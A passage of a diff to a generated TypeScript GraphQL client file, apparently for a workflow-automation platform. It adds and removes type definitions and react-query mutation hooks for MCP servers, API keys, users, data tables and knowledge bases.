-  required?: InputMaybe<Scalars['Boolean']['input']>;
-  schema: Scalars['String']['input'];
-};
-
 export type Resources = {
   __typename?: 'Resources';
   documentationUrl?: Maybe<Scalars['String']['output']>;
 };
 
-export type ResponseDefinitionInput = {
-  contentType?: InputMaybe<Scalars['String']['input']>;
-  description: Scalars['String']['input'];
-  schema?: InputMaybe<Scalars['String']['input']>;
-  statusCode: Scalars['String']['input'];
-};
-
-export type ScriptTestExecution = {
-  __typename?: 'ScriptTestExecution';
-  error?: Maybe<ExecutionError>;
-  output?: Maybe<Scalars['Map']['output']>;
-};
-
-export enum SearchAssetType {
-  ApiCollection = 'API_COLLECTION',
-  ApiEndpoint = 'API_ENDPOINT',
-  Connection = 'CONNECTION',
-  DataTable = 'DATA_TABLE',
-  Deployment = 'DEPLOYMENT',
-  KnowledgeBase = 'KNOWLEDGE_BASE',
-  KnowledgeBaseDocument = 'KNOWLEDGE_BASE_DOCUMENT',
-  Project = 'PROJECT',
-  Workflow = 'WORKFLOW'
-}
-
-export type SearchResult = {
-  description?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  name: Scalars['String']['output'];
-  type: SearchAssetType;
-};
-
-export type SelectedEndpointInput = {
-  method: Scalars['String']['input'];
-  path: Scalars['String']['input'];
-};
-
 export type SharedProject = {
   __typename?: 'SharedProject';
   description?: Maybe<Scalars['String']['output']>;
@@ -2427,19 +1617,7 @@ export type Tag = {
 
 export type TagInput = {
   id?: InputMaybe<Scalars['ID']['input']>;
-  name: Scalars['String']['input'];
-};
-
-export type Task = {
-  __typename?: 'Task';
-  createdBy?: Maybe<Scalars['String']['output']>;
-  createdDate?: Maybe<Scalars['String']['output']>;
-  description?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  lastModifiedBy?: Maybe<Scalars['String']['output']>;
-  lastModifiedDate?: Maybe<Scalars['String']['output']>;
-  name: Scalars['String']['output'];
-  version: Scalars['Int']['output'];
+  name?: InputMaybe<Scalars['String']['input']>;
 };
 
 export type TaskDispatcherDefinition = {
@@ -2458,13 +1636,6 @@ export type TaskDispatcherDefinition = {
   version: Scalars['Int']['output'];
 };
 
-export type TaskInput = {
-  description?: InputMaybe<Scalars['String']['input']>;
-  id?: InputMaybe<Scalars['ID']['input']>;
-  name: Scalars['String']['input'];
-  version?: InputMaybe<Scalars['Int']['input']>;
-};
-
 export type TimeProperty = Property & {
   __typename?: 'TimeProperty';
   advancedOption?: Maybe<Scalars['Boolean']['output']>;
@@ -2517,31 +1688,13 @@ export enum UnifiedApiCategory {
   Ticketing = 'TICKETING'
 }
 
-export type UpdateApiConnectorInput = {
-  connectorVersion?: InputMaybe<Scalars['Int']['input']>;
-  description?: InputMaybe<Scalars['String']['input']>;
-  icon?: InputMaybe<Scalars['String']['input']>;
-  name?: InputMaybe<Scalars['String']['input']>;
-  title?: InputMaybe<Scalars['String']['input']>;
-};
-
 export type UpdateDataTableTagsInput = {
   tableId: Scalars['ID']['input'];
   tags?: InputMaybe<Array<TagInput>>;
 };
 
-export type UpdateKnowledgeBaseDocumentTagsInput = {
-  knowledgeBaseDocumentId: Scalars['ID']['input'];
-  tags?: InputMaybe<Array<TagInput>>;
-};
-
-export type UpdateKnowledgeBaseTagsInput = {
-  knowledgeBaseId: Scalars['ID']['input'];
-  tags?: InputMaybe<Array<TagInput>>;
-};
-
 export type UpdateRowInput = {
-  environmentId: Scalars['ID']['input'];
+  environmentId: Scalars['Int']['input'];
   id: Scalars['ID']['input'];
   tableId: Scalars['ID']['input'];
   values: Scalars['Map']['input'];
@@ -2567,16 +1720,6 @@ export type WorkflowInfo = {
   label: Scalars['String']['output'];
 };
 
-export type WorkflowSearchResult = SearchResult & {
-  __typename?: 'WorkflowSearchResult';
-  description?: Maybe<Scalars['String']['output']>;
-  id: Scalars['ID']['output'];
-  label: Scalars['String']['output'];
-  name: Scalars['String']['output'];
-  projectId: Scalars['ID']['output'];
-  type: SearchAssetType;
-};
-
 export type WorkflowTemplate = {
   __typename?: 'WorkflowTemplate';
   authorEmail?: Maybe<Scalars['String']['output']>;
@@ -2660,13 +1803,6 @@ export type DeleteWorkspaceMcpServerMutationVariables = Exact<{
 
 export type DeleteWorkspaceMcpServerMutation = { __typename?: 'Mutation', deleteWorkspaceMcpServer?: boolean | null };
 
-export type DisconnectConnectionMutationVariables = Exact<{
-  connectionId: Scalars['ID']['input'];
-}>;
-
-
-export type DisconnectConnectionMutation = { __typename?: 'Mutation', disconnectConnection: boolean };
-
 export type ExportSharedProjectMutationVariables = Exact<{
   id: Scalars['ID']['input'];
   description?: InputMaybe<Scalars['String']['input']>;
@@ -2817,3113 +1953,1043 @@ export type WorkspaceMcpServersQueryVariables = Exact<{
 
 export type WorkspaceMcpServersQuery = { __typename?: 'Query', workspaceMcpServers?: Array<{ __typename?: 'McpServer', id: string, name: string, type: PlatformType, environmentId: string, enabled: boolean, url: string, lastModifiedDate?: any | null, mcpComponents?: Array<{ __typename?: 'McpComponent', id: string, mcpServerId: string, componentName: string, componentVersion: number } | null> | null, tags?: Array<{ __typename?: 'Tag', id: string, name: string } | null> | null } | null> | null };
 
-export type AddDataTableColumnMutationVariables = Exact<{
-  input: AddColumnInput;
+export type ConnectedUserProjectsQueryVariables = Exact<{
+  connectedUserId?: InputMaybe<Scalars['ID']['input']>;
+  environmentId?: InputMaybe<Scalars['ID']['input']>;
 }>;
 
 
-export type AddDataTableColumnMutation = { __typename?: 'Mutation', addDataTableColumn: boolean };
+export type ConnectedUserProjectsQuery = { __typename?: 'Query', connectedUserProjects: Array<{ __typename?: 'ConnectedUserProject', id: string, environmentId: string, lastExecutionDate?: string | null, projectId: string, projectVersion?: number | null, connectedUser: { __typename?: 'ConnectedUser', id: string, environmentId: string, externalId: string }, connectedUserProjectWorkflows: Array<{ __typename?: 'ConnectedUserProjectWorkflow', id: string, connectedUserId: string, enabled: boolean, lastExecutionDate?: string | null, projectId: string, workflowUuid: string, workflowVersion: number, workflow: { __typename?: 'Workflow', id: string, label: string, triggers: Array<{ __typename?: 'WorkflowTrigger', name: string, type: string, parameters?: any | null }> } }> }> };
 
-export type CreateDataTableMutationVariables = Exact<{
-  input: CreateDataTableInput;
+export type IntegrationByIdQueryVariables = Exact<{
+  id: Scalars['ID']['input'];
 }>;
 
 
-export type CreateDataTableMutation = { __typename?: 'Mutation', createDataTable: boolean };
+export type IntegrationByIdQuery = { __typename?: 'Query', integration?: { __typename?: 'Integration', id: string, name: string } | null };
 
-export type DataTableRowsQueryVariables = Exact<{
+export type AdminApiKeysQueryVariables = Exact<{
   environmentId: Scalars['ID']['input'];
-  tableId: Scalars['ID']['input'];
 }>;
 
 
-export type DataTableRowsQuery = { __typename?: 'Query', dataTableRows: Array<{ __typename?: 'DataTableRow', id: string, values: any }> };
+export type AdminApiKeysQuery = { __typename?: 'Query', adminApiKeys?: Array<{ __typename?: 'ApiKey', id?: string | null, name?: string | null, secretKey?: string | null, lastUsedDate?: any | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null } | null> | null };
 
-export type DataTableRowsPageQueryVariables = Exact<{
+export type ApiKeysQueryVariables = Exact<{
   environmentId: Scalars['ID']['input'];
-  tableId: Scalars['ID']['input'];
-  limit?: InputMaybe<Scalars['Int']['input']>;
-  offset?: InputMaybe<Scalars['Int']['input']>;
+  type: PlatformType;
 }>;
 
 
-export type DataTableRowsPageQuery = { __typename?: 'Query', dataTableRowsPage: { __typename?: 'DataTableRowPage', hasMore: boolean, nextOffset?: number | null, items: Array<{ __typename?: 'DataTableRow', id: string, values: any }> } };
+export type ApiKeysQuery = { __typename?: 'Query', apiKeys?: Array<{ __typename?: 'ApiKey', id?: string | null, name?: string | null, secretKey?: string | null, lastUsedDate?: any | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null } | null> | null };
 
-export type DataTableTagsQueryVariables = Exact<{ [key: string]: never; }>;
-
-
-export type DataTableTagsQuery = { __typename?: 'Query', dataTableTags: Array<{ __typename?: 'Tag', id: string, name: string }> };
-
-export type DataTableTagsByTableQueryVariables = Exact<{ [key: string]: never; }>;
-
-
-export type DataTableTagsByTableQuery = { __typename?: 'Query', dataTableTagsByTable: Array<{ __typename?: 'DataTableTagsEntry', tableId: string, tags: Array<{ __typename?: 'Tag', id: string, name: string }> }> };
-
-export type DataTablesQueryVariables = Exact<{
+export type CreateApiKeyMutationVariables = Exact<{
+  name: Scalars['String']['input'];
   environmentId: Scalars['ID']['input'];
-  workspaceId: Scalars['ID']['input'];
-}>;
-
-
-export type DataTablesQuery = { __typename?: 'Query', dataTables: Array<{ __typename?: 'DataTable', id: string, baseName: string, lastModifiedDate?: any | null, columns: Array<{ __typename?: 'DataTableColumn', id: string, name: string, type: ColumnType }> }> };
-
-export type DeleteDataTableRowMutationVariables = Exact<{
-  input: DeleteRowInput;
-}>;
-
-
-export type DeleteDataTableRowMutation = { __typename?: 'Mutation', deleteDataTableRow: boolean };
-
-export type DropDataTableMutationVariables = Exact<{
-  input: RemoveTableInput;
+  type?: InputMaybe<PlatformType>;
 }>;
 
 
-export type DropDataTableMutation = { __typename?: 'Mutation', dropDataTable: boolean };
+export type CreateApiKeyMutation = { __typename?: 'Mutation', createApiKey: string };
 
-export type DuplicateDataTableMutationVariables = Exact<{
-  input: DuplicateDataTableInput;
+export type CreateMcpComponentMutationVariables = Exact<{
+  input: McpComponentInput;
 }>;
 
 
-export type DuplicateDataTableMutation = { __typename?: 'Mutation', duplicateDataTable: boolean };
+export type CreateMcpComponentMutation = { __typename?: 'Mutation', createMcpComponent?: { __typename?: 'McpComponent', id: string, componentName: string, componentVersion: number, mcpServerId: string, connectionId?: string | null } | null };
 
-export type ExportDataTableCsvQueryVariables = Exact<{
-  environmentId: Scalars['ID']['input'];
-  tableId: Scalars['ID']['input'];
+export type CreateMcpComponentWithToolsMutationVariables = Exact<{
+  input: McpComponentWithToolsInput;
 }>;
 
 
-export type ExportDataTableCsvQuery = { __typename?: 'Query', exportDataTableCsv: string };
+export type CreateMcpComponentWithToolsMutation = { __typename?: 'Mutation', createMcpComponentWithTools?: { __typename?: 'McpComponent', id: string, componentName: string, componentVersion: number, mcpServerId: string, connectionId?: string | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null, version?: number | null } | null };
 
-export type ImportDataTableCsvMutationVariables = Exact<{
-  input: ImportCsvInput;
+export type CreateMcpToolMutationVariables = Exact<{
+  input: McpToolInput;
 }>;
 
 
-export type ImportDataTableCsvMutation = { __typename?: 'Mutation', importDataTableCsv: boolean };
+export type CreateMcpToolMutation = { __typename?: 'Mutation', createMcpTool?: { __typename?: 'McpTool', id: string, name: string, mcpComponentId: string, parameters?: any | null } | null };
 
-export type InsertDataTableRowMutationVariables = Exact<{
-  input: InsertRowInput;
+export type DeleteApiKeyMutationVariables = Exact<{
+  id: Scalars['ID']['input'];
 }>;
 
 
-export type InsertDataTableRowMutation = { __typename?: 'Mutation', insertDataTableRow: { __typename?: 'DataTableRow', id: string, values: any } };
+export type DeleteApiKeyMutation = { __typename?: 'Mutation', deleteApiKey: boolean };
 
-export type RemoveDataTableColumnMutationVariables = Exact<{
-  input: RemoveColumnInput;
+export type DeleteMcpComponentMutationVariables = Exact<{
+  id: Scalars['ID']['input'];
 }>;
 
 
-export type RemoveDataTableColumnMutation = { __typename?: 'Mutation', removeDataTableColumn: boolean };
+export type DeleteMcpComponentMutation = { __typename?: 'Mutation', deleteMcpComponent?: boolean | null };
 
-export type RenameDataTableMutationVariables = Exact<{
-  input: RenameDataTableInput;
-}>;
+export type EnvironmentsQueryVariables = Exact<{ [key: string]: never; }>;
 
 
-export type RenameDataTableMutation = { __typename?: 'Mutation', renameDataTable: boolean };
+export type EnvironmentsQuery = { __typename?: 'Query', environments?: Array<{ __typename?: 'Environment', id: string, name: string } | null> | null };
 
-export type RenameDataTableColumnMutationVariables = Exact<{
-  input: RenameColumnInput;
-}>;
+export type ManagementMcpServerUrlQueryVariables = Exact<{ [key: string]: never; }>;
 
 
-export type RenameDataTableColumnMutation = { __typename?: 'Mutation', renameDataTableColumn: boolean };
+export type ManagementMcpServerUrlQuery = { __typename?: 'Query', managementMcpServerUrl?: string | null };
 
-export type UpdateDataTableRowMutationVariables = Exact<{
-  input: UpdateRowInput;
+export type McpComponentsByServerIdQueryVariables = Exact<{
+  mcpServerId: Scalars['ID']['input'];
 }>;
 
 
-export type UpdateDataTableRowMutation = { __typename?: 'Mutation', updateDataTableRow: { __typename?: 'DataTableRow', id: string, values: any } };
+export type McpComponentsByServerIdQuery = { __typename?: 'Query', mcpComponentsByServerId?: Array<{ __typename?: 'McpComponent', id: string, componentName: string, componentVersion: number, connectionId?: string | null, mcpServerId: string, version?: number | null, mcpTools?: Array<{ __typename?: 'McpTool', id: string, mcpComponentId: string, name: string } | null> | null } | null> | null };
 
-export type UpdateDataTableTagsMutationVariables = Exact<{
-  input: UpdateDataTableTagsInput;
+export type McpServerTagsQueryVariables = Exact<{
+  type: PlatformType;
 }>;
 
 
-export type UpdateDataTableTagsMutation = { __typename?: 'Mutation', updateDataTableTags: boolean };
+export type McpServerTagsQuery = { __typename?: 'Query', mcpServerTags?: Array<{ __typename?: 'Tag', id: string, name: string } | null> | null };
 
-export type CreateKnowledgeBaseMutationVariables = Exact<{
-  knowledgeBase: KnowledgeBaseInput;
-  workspaceId: Scalars['ID']['input'];
+export type McpServersQueryVariables = Exact<{
+  type: PlatformType;
 }>;
 
 
-export type CreateKnowledgeBaseMutation = { __typename?: 'Mutation', createKnowledgeBase?: { __typename?: 'KnowledgeBase', id: string, name: string } | null };
+export type McpServersQuery = { __typename?: 'Query', mcpServers?: Array<{ __typename?: 'McpServer', id: string, name: string, type: PlatformType, environmentId: string, enabled: boolean, secretKey: string, lastModifiedDate?: any | null, mcpComponents?: Array<{ __typename?: 'McpComponent', id: string, mcpServerId: string, componentName: string, componentVersion: number } | null> | null, tags?: Array<{ __typename?: 'Tag', id: string, name: string } | null> | null } | null> | null };
 
-export type DeleteKnowledgeBaseMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
+export type McpToolsByComponentIdQueryVariables = Exact<{
+  mcpComponentId: Scalars['ID']['input'];
 }>;
 
 
-export type DeleteKnowledgeBaseMutation = { __typename?: 'Mutation', deleteKnowledgeBase?: boolean | null };
+export type McpToolsByComponentIdQuery = { __typename?: 'Query', mcpToolsByComponentId?: Array<{ __typename?: 'McpTool', id: string, name: string, mcpComponentId: string, parameters?: any | null } | null> | null };
 
-export type DeleteKnowledgeBaseDocumentMutationVariables = Exact<{
+export type UpdateApiKeyMutationVariables = Exact<{
   id: Scalars['ID']['input'];
+  name: Scalars['String']['input'];
 }>;
 
 
-export type DeleteKnowledgeBaseDocumentMutation = { __typename?: 'Mutation', deleteKnowledgeBaseDocument?: boolean | null };
+export type UpdateApiKeyMutation = { __typename?: 'Mutation', updateApiKey: boolean };
 
-export type DeleteKnowledgeBaseDocumentChunkMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
+export type UpdateManagementMcpServerUrlMutationVariables = Exact<{ [key: string]: never; }>;
 
 
-export type DeleteKnowledgeBaseDocumentChunkMutation = { __typename?: 'Mutation', deleteKnowledgeBaseDocumentChunk?: boolean | null };
+export type UpdateManagementMcpServerUrlMutation = { __typename?: 'Mutation', updateManagementMcpServerUrl: string };
 
-export type KnowledgeBaseQueryVariables = Exact<{
+export type UpdateMcpComponentWithToolsMutationVariables = Exact<{
   id: Scalars['ID']['input'];
+  input: McpComponentWithToolsInput;
 }>;
 
 
-export type KnowledgeBaseQuery = { __typename?: 'Query', knowledgeBase?: { __typename?: 'KnowledgeBase', id: string, name: string, description?: string | null, maxChunkSize?: number | null, minChunkSizeChars?: number | null, overlap?: number | null, createdDate?: any | null, lastModifiedDate?: any | null, documents?: Array<{ __typename?: 'KnowledgeBaseDocument', id: string, name: string, status: number, createdDate?: any | null, document?: { __typename?: 'FileEntry', name: string, extension?: string | null, mimeType?: string | null, url: string } | null, tags?: Array<{ __typename?: 'Tag', id: string, name: string }> | null, chunks?: Array<{ __typename?: 'KnowledgeBaseDocumentChunk', id: string, knowledgeBaseDocumentId: string, content?: string | null, metadata?: any | null } | null> | null } | null> | null } | null };
+export type UpdateMcpComponentWithToolsMutation = { __typename?: 'Mutation', updateMcpComponentWithTools?: { __typename?: 'McpComponent', id: string, componentName: string, componentVersion: number, mcpServerId: string, connectionId?: string | null, createdBy?: string | null, createdDate?: any | null, lastModifiedBy?: string | null, lastModifiedDate?: any | null, version?: number | null } | null };
 
-export type KnowledgeBaseDocumentStatusQueryVariables = Exact<{
+export type UpdateMcpServerUrlMutationVariables = Exact<{
   id: Scalars['ID']['input'];
 }>;
 
 
-export type KnowledgeBaseDocumentStatusQuery = { __typename?: 'Query', knowledgeBaseDocumentStatus?: { __typename?: 'DocumentStatusUpdate', documentId: string, status: number, timestamp: any, message?: string | null } | null };
-
-export type KnowledgeBaseDocumentTagsQueryVariables = Exact<{ [key: string]: never; }>;
-
-
-export type KnowledgeBaseDocumentTagsQuery = { __typename?: 'Query', knowledgeBaseDocumentTags: Array<{ __typename?: 'Tag', id: string, name: string }> };
-
-export type KnowledgeBaseDocumentTagsByDocumentQueryVariables = Exact<{ [key: string]: never; }>;
-
-
-export type KnowledgeBaseDocumentTagsByDocumentQuery = { __typename?: 'Query', knowledgeBaseDocumentTagsByDocument: Array<{ __typename?: 'KnowledgeBaseDocumentTagsEntry', knowledgeBaseDocumentId: string, tags: Array<{ __typename?: 'Tag', id: string, name: string }> }> };
-
-export type KnowledgeBaseTagsQueryVariables = Exact<{ [key: string]: never; }>;
-
-
-export type KnowledgeBaseTagsQuery = { __typename?: 'Query', knowledgeBaseTags: Array<{ __typename?: 'Tag', id: string, name: string }> };
+export type UpdateMcpServerUrlMutation = { __typename?: 'Mutation', updateMcpServerUrl: string };
 
-export type KnowledgeBaseTagsByKnowledgeBaseQueryVariables = Exact<{ [key: string]: never; }>;
+export type AuthoritiesQueryVariables = Exact<{ [key: string]: never; }>;
 
 
-export type KnowledgeBaseTagsByKnowledgeBaseQuery = { __typename?: 'Query', knowledgeBaseTagsByKnowledgeBase: Array<{ __typename?: 'KnowledgeBaseTagsEntry', knowledgeBaseId: string, tags: Array<{ __typename?: 'Tag', id: string, name: string }> }> };
+export type AuthoritiesQuery = { __typename?: 'Query', authorities: Array<string> };
 
-export type KnowledgeBasesQueryVariables = Exact<{
-  workspaceId: Scalars['ID']['input'];
+export type DeleteUserMutationVariables = Exact<{
+  login: Scalars['String']['input'];
 }>;
 
 
-export type KnowledgeBasesQuery = { __typename?: 'Query', knowledgeBases?: Array<{ __typename?: 'KnowledgeBase', id: string, name: string, description?: string | null, maxChunkSize?: number | null, minChunkSizeChars?: number | null, overlap?: number | null, createdDate?: any | null, lastModifiedDate?: any | null } | null> | null };
+export type DeleteUserMutation = { __typename?: 'Mutation', deleteUser: boolean };
 
-export type SearchKnowledgeBaseQueryVariables = Exact<{
-  id: Scalars['ID']['input'];
-  query: Scalars['String']['input'];
-  metadataFilters?: InputMaybe<Scalars['String']['input']>;
+export type InviteUserMutationVariables = Exact<{
+  email: Scalars['String']['input'];
+  password: Scalars['String']['input'];
+  role: Scalars['String']['input'];
 }>;
 
 
-export type SearchKnowledgeBaseQuery = { __typename?: 'Query', searchKnowledgeBase?: Array<{ __typename?: 'KnowledgeBaseDocumentChunk', id: string, knowledgeBaseDocumentId: string, content?: string | null, metadata?: any | null, score?: number | null } | null> | null };
+export type InviteUserMutation = { __typename?: 'Mutation', inviteUser: boolean };
 
-export type UpdateKnowledgeBaseMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-  knowledgeBase: KnowledgeBaseInput;
+export type UpdateUserMutationVariables = Exact<{
+  login: Scalars['String']['input'];
+  role: Scalars['String']['input'];
 }>;
 
 
-export type UpdateKnowledgeBaseMutation = { __typename?: 'Mutation', updateKnowledgeBase?: { __typename?: 'KnowledgeBase', id: string, name: string, description?: string | null, maxChunkSize?: number | null, minChunkSizeChars?: number | null, overlap?: number | null } | null };
+export type UpdateUserMutation = { __typename?: 'Mutation', updateUser: { __typename?: 'AdminUser', id?: string | null, login?: string | null, email?: string | null, firstName?: string | null, lastName?: string | null, activated?: boolean | null, authorities?: Array<string | null> | null } };
 
-export type UpdateKnowledgeBaseDocumentChunkMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-  knowledgeBaseDocumentChunk: KnowledgeBaseDocumentChunkInput;
+export type UsersQueryVariables = Exact<{
+  pageNumber?: InputMaybe<Scalars['Int']['input']>;
+  pageSize?: InputMaybe<Scalars['Int']['input']>;
 }>;
 
 
-export type UpdateKnowledgeBaseDocumentChunkMutation = { __typename?: 'Mutation', updateKnowledgeBaseDocumentChunk?: { __typename?: 'KnowledgeBaseDocumentChunk', id: string, knowledgeBaseDocumentId: string, content?: string | null, metadata?: any | null } | null };
-
-export type UpdateKnowledgeBaseDocumentTagsMutationVariables = Exact<{
-  input: UpdateKnowledgeBaseDocumentTagsInput;
-}>;
-
+export type UsersQuery = { __typename?: 'Query', users?: { __typename?: 'AdminUserPage', number: number, size: number, totalElements: number, totalPages: number, content: Array<{ __typename?: 'AdminUser', id?: string | null, login?: string | null, email?: string | null, firstName?: string | null, lastName?: string | null, activated?: boolean | null, authorities?: Array<string | null> | null } | null> } | null };
 
-export type UpdateKnowledgeBaseDocumentTagsMutation = { __typename?: 'Mutation', updateKnowledgeBaseDocumentTags: boolean };
 
-export type UpdateKnowledgeBaseTagsMutationVariables = Exact<{
-  input: UpdateKnowledgeBaseTagsInput;
-}>;
 
+export const CreateMcpProjectDocument = `
+    mutation createMcpProject($input: CreateMcpProjectInput!) {
+  createMcpProject(input: $input) {
+    id
+    mcpServerId
+    projectDeploymentId
+    projectVersion
+  }
+}
+    `;
 
-export type UpdateKnowledgeBaseTagsMutation = { __typename?: 'Mutation', updateKnowledgeBaseTags: boolean };
+export const useCreateMcpProjectMutation = <
+      TError = unknown,
+      TContext = unknown
+    >(options?: UseMutationOptions<CreateMcpProjectMutation, TError, CreateMcpProjectMutationVariables, TContext>) => {
+    
+    return useMutation<CreateMcpProjectMutation, TError, CreateMcpProjectMutationVariables, TContext>(
+      {
+    mutationKey: ['createMcpProject'],
+    mutationFn: (variables?: CreateMcpProjectMutationVariables) => fetcher<CreateMcpProjectMutation, CreateMcpProjectMutationVariables>(CreateMcpProjectDocument, variables)(),
+    ...options
+  }
+    )};
 
-export type AutomationSearchQueryVariables = Exact<{
-  query: Scalars['String']['input'];
-  limit?: InputMaybe<Scalars['Int']['input']>;
-}>;
+export const CreateWorkspaceApiKeyDocument = `
+    mutation createWorkspaceApiKey($workspaceId: ID!, $name: String!, $environmentId: ID!) {
+  createWorkspaceApiKey(
+    workspaceId: $workspaceId
+    name: $name
+    environmentId: $environmentId
+  )
+}
+    `;
 
+export const useCreateWorkspaceApiKeyMutation = <
+      TError = unknown,
+      TContext = unknown
+    >(options?: UseMutationOptions<CreateWorkspaceApiKeyMutation, TError, CreateWorkspaceApiKeyMutationVariables, TContext>) => {
+    
+    return useMutation<CreateWorkspaceApiKeyMutation, TError, CreateWorkspaceApiKeyMutationVariables, TContext>(
+      {
+    mutationKey: ['createWorkspaceApiKey'],
+    mutationFn: (variables?: CreateWorkspaceApiKeyMutationVariables) => fetcher<CreateWorkspaceApiKeyMutation, CreateWorkspaceApiKeyMutationVariables>(CreateWorkspaceApiKeyDocument, variables)(),
+    ...options
+  }
+    )};
 
-export type AutomationSearchQuery = { __typename?: 'Query', automationSearch: Array<
-    | { __typename?: 'ApiCollectionSearchResult', id: string, name: string, description?: string | null, type: SearchAssetType }
-    | { __typename?: 'ApiEndpointSearchResult', collectionId: string, path?: string | null, id: string, name: string, description?: string | null, type: SearchAssetType }
-    | { __typename?: 'ConnectionSearchResult', id: string, name: string, description?: string | null, type: SearchAssetType }
-    | { __typename?: 'DataTableSearchResult', id: string, name: string, description?: string | null, type: SearchAssetType }
-    | { __typename?: 'KnowledgeBaseDocumentSearchResult', knowledgeBaseId: string, id: string, name: string, description?: string | null, type: SearchAssetType }
-    | { __typename?: 'KnowledgeBaseSearchResult', id: string, name: string, description?: string | null, type: SearchAssetType }
-    | { __typename?: 'ProjectDeploymentSearchResult', projectName: string, id: string, name: string, description?: string | null, type: SearchAssetType }
-    | { __typename?: 'ProjectSearchResult', id: string, name: string, description?: string | null, type: SearchAssetType }
-    | { __typename?: 'WorkflowSearchResult', projectId: string, label: string, id: string, name: string, description?: string | null, type: SearchAssetType }
-  > };
-
-export type CreateTaskMutationVariables = Exact<{
-  task: TaskInput;
-}>;
+export const CreateMcpServerDocument = `
+    mutation createMcpServer($input: CreateWorkspaceMcpServerInput!) {
+  createWorkspaceMcpServer(input: $input) {
+    id
+    name
+    type
+    environmentId
+    enabled
+  }
+}
+    `;
 
+export const useCreateMcpServerMutation = <
+      TError = unknown,
+      TContext = unknown
+    >(options?: UseMutationOptions<CreateMcpServerMutation, TError, CreateMcpServerMutationVariables, TContext>) => {
+    
+    return useMutation<CreateMcpServerMutation, TError, CreateMcpServerMutationVariables, TContext>(
+      {
+    mutationKey: ['createMcpServer'],
+    mutationFn: (variables?: CreateMcpServerMutationVariables) => fetcher<CreateMcpServerMutation, CreateMcpServerMutationVariables>(CreateMcpServerDocument, variables)(),
+    ...options
+  }
+    )};
 
-export type CreateTaskMutation = { __typename?: 'Mutation', createTask?: { __typename?: 'Task', description?: string | null, id: string, name: string } | null };
+export const DeleteMcpProjectDocument = `
+    mutation deleteMcpProject($id: ID!) {
+  deleteMcpProject(id: $id)
+}
+    `;
 
-export type DeleteTaskMutationVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
+export const useDeleteMcpProjectMutation = <
+      TError = unknown,
+      TContext = unknown
+    >(options?: UseMutationOptions<DeleteMcpProjectMutation, TError, DeleteMcpProjectMutationVariables, TContext>) => {
+    
+    return useMutation<DeleteMcpProjectMutation, TError, DeleteMcpProjectMutationVariables, TContext>(
+      {
+    mutationKey: ['deleteMcpProject'],
+    mutationFn: (variables?: DeleteMcpProjectMutationVariables) => fetcher<DeleteMcpProjectMutation, DeleteMcpProjectMutationVariables>(DeleteMcpProjectDocument, variables)(),
+    ...options
+  }
+    )};
 
+export const DeleteSharedProjectDocument = `
+    mutation deleteSharedProject($id: ID!) {
+  deleteSharedProject(id: $id)
+}
+    `;
 
-export type DeleteTaskMutation = { __typename?: 'Mutation', deleteTask?: boolean | null };
+export const useDeleteSharedProjectMutation = <
+      TError = unknown,
+      TContext = unknown
+    >(options?: UseMutationOptions<DeleteSharedProjectMutation, TError, DeleteSharedProjectMutationVariables, TContext>) => {
+    
+    return useMutation<DeleteSharedProjectMutation, TError, DeleteSharedProjectMutationVariables, TContext>(
+      {
+    mutationKey: ['deleteSharedProject'],
+    mutationFn: (variables?: DeleteSharedProjectMutationVariables) => fetcher<DeleteSharedProjectMutation, DeleteSharedProjectMutationVariables>(DeleteSharedProjectDocument, variables)(),
+    ...options
+  }
+    )};
 
-export type TaskQueryVariables = Exact<{
-  id: Scalars['ID']['input'];
-}>;
+export const DeleteSharedWorkflowDocument = `
+    mutation deleteSharedWorkflow($workflowId: String!) {
+  deleteSharedWorkflow(workflowId: $workflowId)
+}
+    `;
 
+export const useDeleteSharedWorkflowMutation = <
+      TError = unknown,
+      TContext = unknown
+    >(options?: UseMutationOptions<DeleteSharedWorkflowMutation, TError, DeleteSharedWorkflowMutationVariables, TContext>) => {
+    
+    return useMutation<DeleteSharedWorkflowMutation, TError, DeleteSharedWorkflowMutationVariables, TContext>(
+      {
+    mutationKey: ['deleteSharedWorkflow'],
+    mutationFn: (variables?: DeleteSharedWorkflowMutationVariables) => fetcher<DeleteSharedWorkflowMutation, DeleteSharedWorkflowMutationVariables>(DeleteSharedWorkflowDocument, variables)(),
+    ...options
+  }
+    )};
 
-export type TaskQuery = { __typename?: 'Query', task?: { __typename?: 'Task', createdBy?: string | null, createdDate?: string | null, description?: string | null, id: string, lastModifiedBy?: string | null, lastModifiedDate?: string | null, name: string, version: number } | null };
+export const DeleteWorkspaceApiKeyDocument = `
+    mutation deleteWorkspaceApiKey($apiKeyId: ID!) {
+  deleteWorkspaceApiKey(apiKeyId: $apiKeyId)
+}
+    `;
 
-export type TasksQueryVariables = Exact<{ [key: string]: never; }>;
+export const useDeleteWorkspaceApiKeyMutation = <
+      TError = unknown,
+      TContext = unknown
+    >(options?: UseMutationOptions<DeleteWorkspaceApiKeyMutation, TError, DeleteWorkspaceApiKeyMutationVariables, TContext>) => {
+    
+    return useMutation<DeleteWorkspaceApiKeyMutation, TError, DeleteWorkspaceApiKeyMutationVariables, TContext>(
+      {
+    mutationKey: ['deleteWorkspaceApiKey'],
+    mutationFn: (variables?: DeleteWorkspaceApiKeyMutationVariables) => fetcher<DeleteWorkspaceApiKeyMutation, DeleteWorkspaceApiKeyMutationVariables>(DeleteWorkspaceApiKeyDocument, variables)(),
+    ...options
+  }
+    )};
 
-
-export type TasksQuery = { __typename?: 'Query', tasks?: Array<{ __typename?: 'Task', createdBy?: string | null, createdDate?: string | null, description?: string | null, id: string, lastModifiedBy?: string | null, lastModifiedDate?: string | null, name: string, version: number } | null> | null };
-
-export type UpdateTaskMutationVariables = Exact<{
-  task: TaskInput;
-}>;
-
-
-export type UpdateTaskMutation = { __typename?: 'Mutation', updateTask?: { __typename?: 'Task', description?: string | null, id: string, name: string, version: number } | null };
-
-export type ConnectedUserProjectsQueryVariables = Exact<{
-  connectedUserId?: InputMaybe<Scalars['ID']['input']>;
-  environmentId?: InputMaybe<Scalars['ID']['input']>;
